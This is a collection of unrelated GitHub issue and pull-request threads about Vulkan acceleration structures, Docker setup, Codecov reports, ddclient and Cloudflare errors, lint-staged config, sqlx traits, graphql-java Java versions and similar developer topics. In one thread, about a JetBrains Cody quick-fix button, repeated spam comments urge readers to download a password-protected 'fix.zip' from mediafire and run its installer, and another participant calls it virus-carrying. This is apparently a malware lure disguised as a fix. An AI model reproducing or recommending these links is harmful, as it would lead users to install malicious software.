Accelleration structure geometry info is not prepared for host build

The samples using ray tracing / ray query may use host accelleration structure builds, if these are available:
             if (accelerationStructureFeatures.accelerationStructureHostCommands)
             {
                    // Implementation supports building acceleration structure building on host
                    vkBuildAccelerationStructuresKHR(
                           device,
                           VK_NULL_HANDLE,
                           1,
                           &accelerationBuildGeometryInfo,
                           accelerationBuildStructureRangeInfos.data());
             }
             else
             {
                    // Acceleration structure needs to be build on the device
                    VkCommandBuffer commandBuffer = vulkanDevice->createCommandBuffer(VK_COMMAND_BUFFER_LEVEL_PRIMARY, true);
                    vkCmdBuildAccelerationStructuresKHR(
                           commandBuffer,
                           1,
                           &accelerationBuildGeometryInfo,
                           accelerationBuildStructureRangeInfos.data());
                    vulkanDevice->flushCommandBuffer(commandBuffer, queue);
             }

The problem is  samples use geometry infos prepared for device builds, even when using host builds.
The difference is in how addresses should be passed: device builds require pointers in the VkDeviceOrHostAddressConstKHR unions to be device addresses, as currently is done, for example:
VkDeviceOrHostAddressConstKHR instanceDataDeviceAddress{};
		instanceDataDeviceAddress.deviceAddress = getBufferDeviceAddress(instancesBuffer.buffer);

.. while host builds require host addresses to be passed to the build in VkDeviceOrHostAddressConstKHR union.

I have removed host builds for now, until an implementation shows up where they can be properly tested.

Thanks!


support image instead of a video or not?

is this model support image instead of a video and a audio inference?

The input of lip sync task is: video + audio, and the output is: lip-synced video.
Actually I don't understand why you input an image.


May it be more graceful by using pkg.module  for es module

May it be more graceful by using pkg.module  for es module?

thanks
I don't think so


🐳 Docker

Dockerfile

Adds Dockerfile

FROM python:alpine
Smaller, lighter weight image for lightweight tool

CD

CD.yml workflow for auto build and deployment

Codecov Report

Merging #28 (7f72d95) into main (0c966c8) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main      #28   +/-   ##
=======================================
  Coverage   79.23%   79.23%
=======================================
  Files           8        8
  Lines         183      183
=======================================
  Hits          145      145
  Misses         38       38

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


feat: add side effect transactions

Fixes #17

Delete https://github.com/GregoryConrad/rearch-rs/tree/side-effect-txns branch if/when this is merged.

MVP completed & tests passing. Significant code clean up needed (was hacking some stuff together in the state mutter until I got it to compile), and I'm sure clippy has a lot to say in that regard.
We should rename the SideEffectStateMutater to SideEffectOrchestrator or something more indicative of everything it does now.


Update unpackerr.conf.example

Added a #comment to lidarr and readarr bc oh my god i hate myself and spent a lil bit too much time figuring out why the program doesnt work

Thanks!

Thanks!

I just realized this was triggering a bug and a crash. The bug is fixed now.


JetBrains: Could change the position of “ask cody to fix” in the quick fix bar?

Installation Information
IntelliJ IDEA 2024.1.4 (Ultimate Edition)
Build #IU-241.18034.62, built on June 21, 2024
Licensed to gui ai
Subscription is active until March 19, 2025.
For educational use only.
Runtime version: 17.0.11+1-b1207.24 amd64
VM: OpenJDK 64-Bit Server VM by JetBrains s.r.o.
Windows 10.0
GC: G1 Young Generation, G1 Old Generation
Memory: 2048M
Cores: 12
Registry:
debugger.watches.in.variables=false
debugger.new.tool.window.layout=true
ide.experimental.ui=true
Non-Bundled Plugins:
com.linkkou.plugin.intellij.assistant (5.0.1)
com.markskelton.one-dark-theme (5.11.0)
com.codeium.intellij (1.14.9)
com.intellij.spring.websocket (241.14494.158)
com.chuntung.plugin.gistsnippet (1.2.0)
izhangzhihao.rainbow.brackets (2024.2.6-241)
com.sourcegraph.jetbrains (6.0.26)
cn.yiiguxing.plugin.translate (3.6.4)
Kotlin: 241.18034.62-IJ
Share your feedback
The “ask cody to fix” button occupies the most frequently used fix bar. see this picture

Mostly, I use quick fixes for importing or implementing parent class methods, etc.
Now I have to click more times to perform the function I want.
Could change the position of “ask cody to fix” and move it to the suggestion box like codeium? see this picture

Additional context (logs, images, etc)
No response

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

In version 6.0.25, there is no such issue yet

Why so many robots in this issue? With virus-carrying content?

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Fixed in 6.0.34.
Thanks for your work.


Issue for test

- Do you want to request a feature or report a bug?
- What is the current behavior?
- If the current behavior is a bug, please provide the steps to reproduce.
- What is the expected behavior?
- Please mention your node.js, NPM, Hugo and operating system version.

Testing Issue


Windows Server 2008 SP2 seems to support .Net Framework 4.6.1

Recently, one of ours .Net Framework 4.6.1 dependent applications was succesfully installed on a Windows Server 2008 SP2 (not 2008 R2). Altough we had to remove all .Net installed frameworks and reinstall 4.6.1 package in order to start application successfully.
For this reason, I think that since .Net Frameowkr 4.6.1 installer supports Windows Server 2008, the above requirements should be revised according it.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 8afd1f96-b008-8b2e-bf3e-89d91f8cca5e
Version Independent ID: 2010bd32-59f6-823c-f193-27439e12798d
Content: .NET Framework system requirements
Content Source: docs/framework/get-started/system-requirements.md
Product: dotnet-framework
GitHub Login: @rpetrusha
Microsoft Alias: ronpet

Thanks for your feedback @JulioNobre. @jamshedd @vivmishra @NKarnam15 can one of you help to confirm this information for .NET Framework 4.6.1?

I recall the 4.6.1 installer had a bug and didn't correctly block on unsupported platforms. The customer should use the documentation as the definitive source of what is supported. Installing the 4.6.1 product on an unsupported platform will result in the machine not getting patched.

Ok. We will stick upon documentation. Thanks for your clarification.


[question] ddns not able to connect to cloudflare api

Great project, got everything up and running, vaultwarden is accessible, but also configured DDNS with cloudflare, which seems not to work with following log message:
ddns            | FAILED:   updating xx.domain.xx: Could not connect to api.cloudflare.com/client/v4.
my ddclient.conf looks like this
use=web, web=checkip.dyndns.org/, web-skip='IP Address' # found after IP Address

CloudFlare (www.cloudflare.com)

protocol=cloudflare
zone=xxx.de
ttl=0
login=token      # Only needed if you are using your global API key. If you are using an API token, set it to "token" (wihtout double quotes).
password=APItoken#              # This is either your global API key, or an API token. If you are using an API token, it must have the permissions "Zone - DNS - Edit" and "Zone - Zone - Read". The Zone resources must be "Include - All zones".
xx.xxx.de
Did anybody experience this as well and has a hint how to fix this, looks like ddns has no access to the web?!
Thanks!

I'm seeing the same behavior in my logs. If I jump into the running container (docker exec -it ddns ash) I can communicate to the internet - even to dyndns which is what I also use. Not sure what's going on, I'll poke around a bit.

Also, try running ddclient -file ddclient.conf -daemon=0 -debug -verbose -noquiet in the ddns container and see what you get

I was able to resolve it for myself, hope this helps you @kurti500.
When I ran the command above in docker to get the verbose log of ddclient, it spit out this error message:
RECEIVE:  {"success":false,"errors":[{"code":9103,"message":"Unknown X-Auth-Key or X-Auth-Email"}],"messages":[],"result":null}

That meant that my auth email (not using a token like you) was wrong, which is true, I did update it with Cloudflare a few weeks ago. Updating that solved it for me.
As an aside, I was getting a lot of errors that I couldn't connects to dyndns.org, so I updated my use line to use domains.google.com/checkup, like so:
use=web, web=domains.google.com/checkip

I hope this helps. The command above should get you more details about where ddclient is failing wrt cloudflare.

Hi @dadatuputi , thanks a lot for your support, it works perfectly with the global API key, so I recreated the API for the DNS change and it works again, so I assume something got wrong with this key......
However when changing to
use=web, web=domains.google.com/checkip
I got following error
WARNING:  found neither IPv4 nor IPv6 address
ddns            | Use of uninitialized value $_[2] in sprintf at /usr/bin/ddclient line 2160.
Any thoughts why the google URL is not working for me? Is there any other config needed?


Extend from shared config in package.json file

Description
Ability to extend from a shared configuration within the package.json file.
Feature request
Currently, loading a shared config works great when using a lint-staged.config.js file. It would be nice if extending from a shared config could be specified within the package.json file as well:
Before
// lint-staged.config.js

module.exports = require('@example/lint-staged-config-example')

After
// package.json

...
"lint-staged": "@example/lint-staged-config-example"
...

or

...
"lint-staged": {
  "extends": "@example/lint-staged-config-example"
},
...

Motivation and Context
We have a shared lint-staged config package (EG: @example/lint-staged-example) that's published to an internal npm registry. And this shared config is used on many apps. Currently, this is accomplished with a lint-staged.config.js file in the root of the project with one line: module.exports = require('@example/lint-staged-config-example').
We'd like to centralize all the configuration for an app within one file: package.json, reduce the number of one-line files needed to create a new project, and therefore reduce the clutter at the root of the repo.
We've moved most of the configuration for tools like Babel, Prettier, Stylelint, etc. out of individual *.config.js files and into the package.json file. As they allow for extending from a shared config within the package.json file. This feature request hopes to add that ability to lint-staged too so even more app configuration can be centralized in one place.
Examples
For ideas on how this could look, here are some examples of the API provided by other tools like Babel, ESLint, Prettier, Stylelint, and Browserslist.
Prettier
  "prettier": "@example/prettier-config-example"

Babel
  "babel": {
    "extends": "@example/babel-config-example"
  },

Stylelint
  "stylelint": {
    "extends": "@example/stylelint-config-example"
  },

Stylelint also takes an array so multiple configs can be extended from
  "stylelint": {
    "extends": [
      "@example/stylelint-config-example",
      "@example/stylelint-config-example-strict"
    ]
  },

ESLint
  "eslintConfig": {
    "extends": "@example/eslint-config-example",
    "plugins": [
      "testing-library"
    ]
  },

Browserslist
  "browserslist": [
    "extends @example/browserslist-config-example"
  ],

Override the extended config (optional)
Optionally, this could be taken even one step further and allow for overrides within the package.json file. This way individual projects could augment the shared config on a one-off basis as needed.
Stylelint examples
Stylelint can accept extra rules right after the extends for per-project overrides:
  "stylelint": {
    "extends": "@example/stylelint-config-example",
    "rules": {
      "selector-max-id": 5,
      "max-nesting-depth": 10,
    }
  },

Proposed example for lint-staged extend with overrides
  "lint-staged": {
    "extends": "@example/lint-staged-config-example",
    "patterns": {
      '**/*.{js,ts,tsx}': [
        'prettier --write',
        'eslint --config .eslintrc.precommit.js --fix'
      ]
    }
  },

(Not sure what the best name for patterns is – globs, config, overrides, ?)
Example implementations from other tools
This would likely require adding some processing or transforming of the result that cosmiconfig returns. Here are examples from other tools:
extendConfig() in stylelint -
https://github.com/stylelint/stylelint/blob/924646681a355b327ccfeb6f00be4e1636333911/lib/augmentConfig.js#L162
transform function within getExplorerMemoized() in prettier
https://github.com/prettier/prettier/blob/f04b2b991c48c626789a19eb9339a10925f5f399/src/config/resolve-config.js#L18

That’s a good proposal and I’d be happy to accept a PR that implements it.

Hello, do we still want this? After removing support for advanced configuration, we don't really have a place for this anymore, and personally I think it'd be fine to keep it simple.
The JS config format would probably allow for something.


ansible-galaxy collection install Failed

When I try to run command "ansible-galaxy collection install -r requirements.yml" in step 3, I get the following error:
-bash: ansible-galaxy: command not found
Steps 1 and 2 ran correctly.

Try rebooting your Pi; sometimes the $PATH update for the pip binaries that are installed doesn't stick right away.

I rebooted the Pi and it attempted the install and then I received the following error:
ERROR! Failed to download collection tar from 'default': <urlopen error [Errno -3] Temporary failure in name resolution>
Any ideas?

@AngeloAna - Does your Pi currently not have a good Internet connection? Can you do ping www.google.com and that works?

You are correct about an internet connection.. Using WiFi is flaky. I ran several pings and one failed and three worked. I followed your steps again and the software loaded correctly. Anything that failed worked again after a reboot. Thank you.


Apply prettier and add CI step to enforce

Hey @olyop, based on your response on https://github.com/olyoporg/apollo-server-fastify/issues/18 I think this is the outcome you were looking for.
I was having a problem actually running prettier using the @oly_op/prettier-config. Prettier couldn't require it for some reason, so I copied over the config that existed in that package. Maybe we can figure out the other way to do it at some point.
In order to have both eslint and prettier play nice, I had to extend the lint config to include the prettier config we're using.
Let me know what you think of the outcome. Feel free to tweak this PR as you see fit!

Prettier config has been fixed.


subspace_identification fails with error: numpy.core._exceptions._ArrayMemoryError

Hi.
I am trying to do a simple SS system identification with just one input one output data.
My DF looks like this:
        in_GCU_SetPoint  out_Power_Generated
0<PHONE_NUMBER>00<PHONE_NUMBER>00
1<PHONE_NUMBER>00<PHONE_NUMBER>00
2<PHONE_NUMBER>29<PHONE_NUMBER>00
3<PHONE_NUMBER>32<PHONE_NUMBER>62
4<PHONE_NUMBER>10<PHONE_NUMBER>94
...                 ...                  ...
399996<PHONE_NUMBER>21<PHONE_NUMBER>82
399997<PHONE_NUMBER>80<PHONE_NUMBER>31
399998<PHONE_NUMBER>33<PHONE_NUMBER>37
399999<PHONE_NUMBER>03<PHONE_NUMBER>39
400000<PHONE_NUMBER>11<PHONE_NUMBER>72

[400001 rows x 2 columns]

And my code snippet is:
data_df = pd.DataFrame(np.hstack((u,y)), columns=['in_GCU_SetPoint', 'out_Power_Generated'])
nfoursid = NFourSID(
data_df,  # the state-space model can summarize inputs and outputs as a dataframe
output_columns=['out_Power_Generated'],
input_columns=['in_GCU_SetPoint'],
num_block_rows=10
)
nfoursid.subspace_identification()
ORDER_OF_MODEL_TO_FIT = 4
state_space_identified, covariance_matrix = nfoursid.system_identification(rank=ORDER_OF_MODEL_TO_FIT)

But this fails with the following error:
Traceback (most recent call last):
  File ".venv\lib\site-packages\numpy\linalg\linalg.py", line 1642, in svd
    u, s, vh = gufunc(a, signature=signature, extobj=extobj)
numpy.core._exceptions._ArrayMemoryError: Unable to allocate 1.16 TiB for an array with shape (399992, 399992) and data type float64

Any idea of what I am doing wrong?

Hi @davidusb-geek! Thanks for your response. I see that you run into an out of memory issue. In order to identify the model, NFourSID needs to work with some matrices that scale O(n^2) in the number of datapoints. There of course needs to be memory available to work with those matrices. Also, depending on the order of your system, you might be able to use fewer datapoints than you are currently using. I think you have the following options:

Use an instance with more memory
Limit the number of datapoints used (for example: use only the most recent ones, or subsample the dataset)

I'm closing this issue since I think this is not an issue with NFourSID, and you're also not doing anything wrong as far as I see, you're just running out of memory! :)

Ok thank you. I will reduce the number of data points.
When doing this in Matlab it works in same machine and the same number of data points. I guess that in their code their are reducing the dataset under the hood.


Connection reference in a Trait

Is it possible to pass the reference of a connection in a trait?
use async_trait::async_trait;
#[async_trait]
pub trait ITodoRepo<P> {
    async fn list(pool: P);
}

#[derive(FromRow, Debug)]
pub struct TodoSchema {
    pub id: i32,
    pub body: Option<String>,
    pub complete: Option<String>,
}

pub struct TodoRepo;
#[async_trait]
impl<P> ITodoRepo<P> for TodoRepo {
    async fn list(pool: &P) -> Result<Vec<TodoType>> {
        let rowset = sqlx::query_as!(TodoSchema, r#"SELECT * FROM todo"#)
            .fetch_all(pool)
            .await?
            .iter()
            .map(|row| hydrate(row))
            .collect();

        Ok(rowset)
    }
}

fn hydrate(row: &TodoSchema) -> TodoType {
    TodoType {
        id: row.id,
        body: row.body.to_owned().unwrap_or("".to_owned()),
        complete: row.complete.to_owned().unwrap_or("".to_owned()),
    }
}

I am trying to do this but I get an error
  --> src/todo.rs:19:24
   |
19 |             .fetch_all(pool)
   |                        ^^^^ the trait `sqlx::Executor<'_>` is not implemented for `&P`

This is how I invoke the list method
 async fn todos(&self, ctx: &Context<'_>) -> FieldResult<Vec<TodoType>> {
        let pool = ctx.data::<PgPool>()?;
        let items = TodoRepo::list(pool).await?;
        Ok(items)
    }

Hello!
Did you try to pass something like that?
pub async fn stream_info(
    conn: impl sqlx::Executor<'_, Database = sqlx::Postgres>,
    stream_uuid: &str,
) -> Result<Stream, sqlx::Error> {}

Hi @Freyskeyd
I used it this way but it doesn't work either, the goal is for the trait to be generic
pub struct TodoRepo;
#[async_trait]
impl<P: sqlx::Executor<'_, Database = sqlx::Postgres>> ITodoRepo<P> for TodoRepo {
    async fn list(pool: &P) -> Result<Vec<TodoType>> {
        let rowset = sqlx::query_as!(TodoSchema, r#"SELECT * FROM todo"#)
            .fetch_all(pool)
            .await?
            .iter()
            .map(|row| hydrate(row))
            .collect();

        Ok(rowset)
    }
}

|
| impl<'a, P: sqlx::Executor<'_, Database = sqlx::Postgres>> ITodoRepo<'a, P> for TodoRepo {
|

|
|             .fetch_all(pool)
|                        ^^^^ the trait `sqlx::Executor<'_>` is not implemented for `&P`

Did you try to remove the & ?, you can still use a reference.
See:
Method pass a mutable ref: https://github.com/Freyskeyd/chekov/blob/master/event_store/src/storage/postgres.rs#L89
The read_stream is here: https://github.com/Freyskeyd/chekov/blob/master/event_store/src/storage/postgres/sql.rs#L11

when I use a direct reference if it works
async fn list(pool: &PgPool) -> Result<Vec<TodoType>> https://github.com/benjamingb/rust/todo.rs#L13
I am trying to implement it with a trait so that it is generic and can be used in other crates
Here is a reference to the project
https://github.com/benjamingb/rust-gql/tree/develop/src

Mmh I didnt' have time to check on a running exemple but I think something like that would work no?
Or am I missing something ?
pub struct TodoRepo;

#[async_trait]
impl<P: sqlx::Database>> ITodoRepo<P> for TodoRepo {
    async fn list(pool: impl sqlx::Executor<'_, Database = P>) -> Result<Vec<TodoType>> {
        let rowset = sqlx::query_as!(TodoSchema, r#"SELECT * FROM todo"#)
            .fetch_all(pool)
            .await?
            .iter()
            .map(|row| hydrate(row))
            .collect();

        Ok(rowset)
    }
}

Thank you very much for your help but it still doesn't work :(

Hi @benjamingb Did you find a solution? I'm facing the same problem

Hi @skerkour, not yet, I'm looking for other alternatives


Not github icon :)

And also Linkedin, Email, and Skype :-)

envelope == email

When converting from FontAwesome to Vaadin Icons there are only two that I miss being able to get rid of FA completely, namely LinkedIn and Instagram.


Change sourceCompatibility to 1.6.

Properly created version of https://github.com/andimarek/graphql-java/pull/81 (this PR uses the right source branch).
We’d like to target using your graphql-java library on some legacy systems that run JDK 1.6 (not for great technical reasons, but this is how certain company / government bureaucracies work). I was wondering if you’d be willing to accept a patch which would change your “sourceCompatibility” to 1.6?
The changes in the patch entail:
(1) Changing all usage of the diamond operator (<>) to use the fully-specified type, e.g.:
            Map<String, GraphQLType> typesByName = new LinkedHashMap<>();

becomes:
            Map<String, GraphQLType> typesByName = new LinkedHashMap<String, GraphQLType>();

(2) Unrolling multi-catch statements (e.g., “catch (IllegalAccessException | InvocationTargetException e)”). This only happens in a couple places.
In other words, I think the changes here are mostly cosmetic, but it would greatly increase our ability to roll your awesome library out to more places!
Thanks for your consideration.

From the Andi:

Thanks for this PR and thanks for your effort.
About supporting Java 1.6 in general: I'm thinking about it now for some time I don't really now yet, if we should do this. Because even Java 7 is EOL, and I would rather to prefer to switch to Java 8 in the near future.
But of course there are still projects out there which use Java 1.6 (or even older).
I created a entry in the mailing-list to gather some feedback: https://groups.google.com/forum/#!topic/graphql-java/iCCN2T1RgyI

@pt-achang Thanks for your effort. I decided to merge it. So please test it with the newest build and  open a new Issue if you encounter any problems.
Thanks.

Thanks!

@andimarek I'd love to re-open this conversation if you are interested.
I think it would help the project to bump the source version to the much more modern Java 8. This would allow us to remove the reflection based PropertyBasedDataFetcher, and instead simply use Java's native Method references.
E.G. PropertyDataFetcher("booleanFieldWithGet") could simply be replaced with Object::booleanFieldWithGet.

@corydolphin @andimarek Guys, what are the plans for moving to sourceCompatibility to 1.8? We are using Java 7 in production and don't plan to move to 8. I work in the biggest russian touroperator. We've got a very high loaded system and very-very bug codebase and just started to use graphql. It is simply impossible to move to Java 8 and the moment. I'll be very sad if the whole graphql-java project switch to Java 8 :(

Hi Grigory. There are no such plans at this time. There is interest in a
Java 8 secondary artifact, but not changing the core. Thanks for posting.
пт, 23 дек. 2016 г. в 2:21, Grigory Ptashko<EMAIL_ADDRESS>
@corydolphin https://github.com/corydolphin @andimarek
https://github.com/andimarek Guys, what are the plans for moving to
sourceCompatibility to 1.8? We are using Java 7 in production and don't
plan to move to 8. I work in the biggest russian touroperator. We've got a
very high loaded system and very-very bug codebase and just started to use
graphql. It is simply impossible to move to Java 8 and the moment. I'll be
very sad if the whole graphql-java project switch to Java 8 :(
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/graphql-java/graphql-java/pull/87#issuecomment-268950261,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AANWZXg1ySeIC7OfDxYy1dNiZk3amZrrks5rK3ZtgaJpZM4Haprx
.

I've been thinking about making the default data fetcher configurable.
Would that help?
вс, 18 дек. 2016 г. в 2:20, Cory Dolphin<EMAIL_ADDRESS>
@andimarek https://github.com/andimarek I'd love to re-open this
conversation if you are interested.
I think it would help the project to bump the source version to the much
more modern Java 8. This would allow us to remove the reflection based
PropertyBasedDataFetcher, and instead simply use Java's native Method
references.
E.G. PropertyDataFetcher("booleanFieldWithGet") could simply be replaced
with Object::booleanFieldWithGet.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/graphql-java/graphql-java/pull/87#issuecomment-267807494,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AANWZZjOZRhsJ5IDRzrr7bMkOFleMJYMks5rJN7YgaJpZM4Haprx
.

@dminkovsky @GrigoryPtashko We can achieve what I desired without needing the library to use src/target of Java 8. Apologies for my confusion.

@corydolphin great, good to hear.


KOGITO-9258 Update docs to reflect the new UX changes on Serverless Logic Web Tools

JIRA: https://issues.redhat.com/browse/KOGITO-9258

Description: Images have been updated and "KIE Sandbox Extended Services" occurrences have been renamed to simply "Extended Services".
⚠ Please merge after kie-tools 0.30.0 release.

Please make sure that your PR meets the following requirements:

[x] You have read the contributions doc
[x] Pull Request title is properly formatted: KOGITO-XYZ Subject
[x] Pull Request title contains the target branch if not targeting main: [0.9.x] KOGITO-XYZ Subject
[NA] The nav.adoc file has a link to this guide in the proper category
[NA] The index.adoc file has a card to this guide in the proper category, with a meaningful description

How to backport a pull request to a different branch?

In order to automatically create a backporting pull request please add one or more labels having the following format backport-<branch-name>, where <branch-name> is the name of the branch where the pull request must be backported to (e.g., backport-7.67.x to backport the original PR to the 7.67.x branch).

NOTE: backporting is an action aiming to move a change (usually a commit) from a branch (usually the main one) to another one, which is generally referring to a still maintained release branch. Keeping it simple: it is about to move a specific change or a set of them from one branch to another.

Once the original pull request is successfully merged, the automated action will create one backporting pull request per each label (with the previous format) that has been added.
If something goes wrong, the author will be notified and at this point a manual backporting is needed.

NOTE: this automated backporting is triggered whenever a pull request on main branch is labeled or closed, but both conditions must be satisfied to get the new PR created.

Thanks a lot for the review @kaldesai!

In the last commit (0061750), I removed the page serverless-logic-web-tools-enable-kogito-swf-visualization.adoc and its associated references because we are removing the Feature Preview tab from Serverless Logic Web Tools.

@caponetto should we backport to 1.40.x? We branched today.

@caponetto should we backport to 1.40.x? We branched today.

As the updates in this PR are for TP1, I believe we should backport, right?
But everything in this PR will make sense only after kie-tools 0.30.0 release.

kie-tools 0.30.0 is out. Feel free to merge this PR.


Fix support for FunctionCallingOptions across AI models

Adds support for PortableFunctionCallingOptions across AI models

Modify FunctionCallingOptions interface to extend ChatOptions for better integration
Refactor option handling in chat models to accommodate both ChatOptions and FunctionCallingOptions
Implement handling of FunctionCallingOptions in Anthropic, Azure OpenAI,
MistralAI, Ollama, OpenAI, VertexAI Gemini, and other models
Update existing function calling tests to use new FunctionCallingOptions.

Resolves: #624

merged in 45c6622736972114fc91fc3bdb6eb283b5eec280


[Pirk 38]: Update Javadocs for Schema Loaders

Now with 100% more merging upstream master.

+1 to merge

+1


The column width of the main transform grid is too large.

Is your feature request related to a problem? Please describe.
The column width of the main transform grid is too large.
Describe the solution you'd like
display with proper grid column width
Additional context

#476 issue branch 에서 같이 작업합니다.

PR merged. Issue closed.


fix(relay-dashboard): use k8s service name as api hostname

package.json:
The setting "build": "BUILD=true next build": Setting the environment variable BUILD=true might not work consistently across all operating systems. If you intend to use this command on multiple platforms, you should check its correctness on each of them.
src/relay/config.ts:
In the getDomain() function, after the last condition case "prod":, there's no default block. This can lead to the function returning undefined if apiEnv doesn't match any of the expected values.
The comment for the getCensorshipDomain() function states, "Use prod API for censorship data on staging since we don't have the data for goerli", but this condition isn't implemented in the function itself.
The code breaks off after the line return "https://relay.u. This might be a paste error or incomplete code.


Debuging, error linking to file and row by lines number from output [DEBUG CONSOLE]

I'm not happy with solutions to execute code, scripts, etc.

[ ] I want sugest solution with linking to file and row lines number from output to place where is error for debuging this place (line). Something like hyberlink.

python
 File "e:\PYTHON\test.py", line 10, in TestFunction self.test= SuperTest(self)

line 10 can be as hyperlink to row 10 in test.py file (e:\PYTHON\test.py or e:/PYTHON/test.py)
File "e:\PYTHON\test.py", line 10, in TestFunction self.test= SuperTest(self)

There is vscode-code-runner plugin, but it's far in pratice from the optimal solutions what exist on market and other editors.
https://github.com/formulahendry/vscode-code-runner/issues/111
BTW all errors methods for output from debugers is little old and simple, eg. why the outputs lines are not numered as rows (1. error 2. bug 3. noFunction) which can be more usefull in social consulting, citating the row only as number of row/line and etc.
Eg. PyScripter for Python is old and not much changes and have nice solutions as upper, eg. can show current bug
https://sourceforge.net/projects/pyscripter/
Maybe in ServerSide coding is not special needed, but not sure.. I mind that output is serverd on the web browser front side.

[ ] Let we imagine that in MVC exist some bugs.. I repair them in some files and want run again the main script.. must find this file and execute. In my good pratice is that ctr+E execute current file and ctr+shift+E execute the last file or file setted as main in all project. This can help fast reduce number of errors in output and stupid clicking process (expensive time and booring way).
In VSC is ctr+shift+f5 but in debug mode. If I chaning file to repair and try run this.. again execute current file and must back to the main.py and find this.

Where would like to see this additional linking in the output panel or in the terminal?
What action produces this output. Have you looked into defining a task with problem matcher https://code.visualstudio.com/docs/editor/tasks

In the output of DEBUG CONSOLE
https://code.visualstudio.com/docs/editor/debugging
Maybe should be option to switch from normal text/string output to the table output with recognize of separations by "," which is popular in editors where is easy to find lines/rows,cols, module, file, etc..

Should I do this in normal case of using debuger for any script languge? If yes, then is problematic, coz need meet all this functions around.

Given the additional description you have provided tasks do not apply.

I'm guessing that this similar looks in case of use taske, but we loosing options like in debug/ing (vars, steps, etc.).

In case of Python looks like in case where somebady not using Pylint or other solution is turned of and not used in live mode, then we debuging in blink mode as output errors.
https://github.com/Microsoft/vscode/issues/16796
Soo.. this can be some feature as combine Pylint hyperlinks.


[BUG] Can't log into or shut down remote computer after use

Something must be weird with my setup because if this happened to anyone else there'd be a bug report already I'm sure. But still:
Describe the bug
After successfully using the software, the remote computer is unusable. It's not possible to log in again through remote desktop, or on the computer itself, or to shut down the computer safely. Trying to do any of these things, it will spin without logging in or shutting down. This can only be fixed with a hard shutdown using the power button.
To Reproduce
Steps to reproduce the behavior:

Install client on client
Install vigem on server
Install receiver on server
Connect through remote desktop
Play a game
Disconnect remote desktop
Attempt to log in again through remote desktop or physically log in on the remote computer. It will spin and not log in

Alternately:
6. While connected on the remote desktop, tell it to shut down
7. The session disconnects, but the remote computer spins on shutting down, never shutting down.
Expected behavior
Allows login and successfully shuts down safely
Please complete the following information:

OS: Windows 10 on local laptop, Windows 11 on remote desktop
Using an ancient Logitech wired gamepad F310 (Xbox style)

Additional context
This happens even if I close the RDP gamepad receiver from the system tray before disconnecting

Actually looking again this is a duplicate of #24


Should spin otel cleanup actually clean up?

With the current implementation, spin otel cleanup stops but does not remove containers, that were spawned using spin otel setup. Given the name cleanup I would assume the underlying containers to be removed from my docker context instead of "just" being stopped.
I have two different approaches in mind, how we could address this:
Option 1
Add an --rm flag to the spin otel cleanup command. If specified, we execute docker rm -f <CONTAINER_ID> instead of docker stop <CONTAINER_IDS>
Option 2
Add a spin otel stop command (which will execute docker stop <CONTAINER_IDS>)
Change the implementation of spin otel cleanup to execute docker rm -f <CONTAINER_IDS>

@calebschoepp @asteurer @mikkelhegn any preferences?

I'm a fan of Option 1. This way the user could benefit from a faster spin otel up, while still having the choice to remove the images.

I like option 1 too.


To see which method is failing:

Temporary PR to troubleshoot Travis CI

Current coverage is 99.52% (diff: 100%)

No coverage report found for feature#32 at c304c8f.

Powered by Codecov. Last update c304c8f...4619e74


Port broken build fix to feature/stable-cadence

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 41.93%. Comparing base (c075fef) to head (4707204).

Additional details and impacted files
@@                   Coverage Diff                   @@
##           feature/stable-cadence    #1443   +/-   ##
=======================================================
  Coverage                   41.93%   41.93%
=======================================================
  Files                          53       53
  Lines                        2754     2754
=======================================================
  Hits                         1155     1155
  Misses                       1450     1450
  Partials                      149      149

Flag
Coverage Δ

unittests
41.93% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


[Hidden] Remove one degree of freedom

[x] PR has tests / docs demo, and is linted.
[x] Commit and PR titles begin with [ComponentName], and are in imperative form: "[Component] Fix leaky abstraction".
[x] Description explains the issue / use-case resolved, and auto-closes the related issue(s) (http://tr.im/vFqem).

Also migrated 79 tests to // @flow.


Mention how to handle wildcard domains in documentation

As instructed by @tamalsaha

Codecov Report

Merging #938 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff           @@
##           master    #938   +/-   ##
======================================
  Coverage    8.03%   8.03%
======================================
  Files          50      50
  Lines        7724    7724
======================================
  Hits          621     621
  Misses       6977    6977
  Partials      126     126

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7fc56c3...7811b0f. Read the comment docs.

Thanks @hofmeister !


See matches with own posts when publishing anymously

(has the same need-uri in both cases, i.e. is definitely the same need)

thats not an issue any longer, we removed the filter of own need matches due to the fact that we need to match and connect two owned needs together (e.g. group chat and member need) and we choose to remove the filter instead of adding yet another exception to the implementation


⚠ Bofrost.at has degraded performance

In 2977221, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1560 ms

Resolved: Bofrost.at performance has improved in 0b48c23.


Update key-vault-overview-vnet-service-endpoints.md

